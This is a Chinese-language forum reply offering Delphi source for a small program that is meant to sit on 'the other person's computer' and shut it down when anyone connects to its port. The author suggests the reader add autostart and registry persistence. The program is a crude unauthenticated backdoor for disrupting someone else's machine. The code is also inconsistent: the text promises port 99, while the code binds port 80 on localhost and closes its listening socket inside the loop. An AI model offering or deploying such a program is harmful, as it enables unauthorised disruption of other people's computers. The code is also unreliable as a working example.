to yuerzhuang:我同意yuanyuwuhen的意见,写一个服务器端在服务器上,然后你用客户端来连接,发送<br> 命令,服务器端执行就可以了。<br>to 星际浪人 :windows 到现在也没有这样的漏洞,只不过是一个oob漏洞,让别人蓝屏,不过是<br> reboot,而不是halt;<br><br>下面的程序在对方的电脑上开一个 99的端口,不过,我没有设置为自启动,改注册表等,<br>如果需要,你自己添加,然后,如果要关机,只需要telnet到他的99端口就可以了。<br><br>program remotehalt;<br>{$APPTYPE CONSOLE}<br>uses winsock;<br><br>var<br>s,c:tsocket;<br>addr:tsockaddr;<br>wsa:twsadata;<br>buf:array [0..99] of char;<br>recbuf:array[0..65534] of char;<br>ls:integer;<br>url:string;<br>begin<br>wsastartup($0202,wsa);<br>s:=socket(af_inet,sock_stream,0);<br>addr.sin_family:=af_inet;<br>addr.sin_port:=htons(80);<br>addr.sin_addr.S_addr:=inet_addr('127.0.0.1');<br>bind(s,addr,sizeof(addr));<br>listen(s,0);<br>while true do<br>begin<br>ls:=sizeof(addr);<br>c:=accept(s,@addr,@ls);<br>if c<>invalid_socket then<br>begin<br>//在这里,你可以来一个密码进行判断。<br>ExitWindowsEx(EWX_SHUTDOWN,0);//关机<br>closesocket(c);<br>end;<br>closesocket(s);<br>end;<br>wsacleanup;<br>end.<br>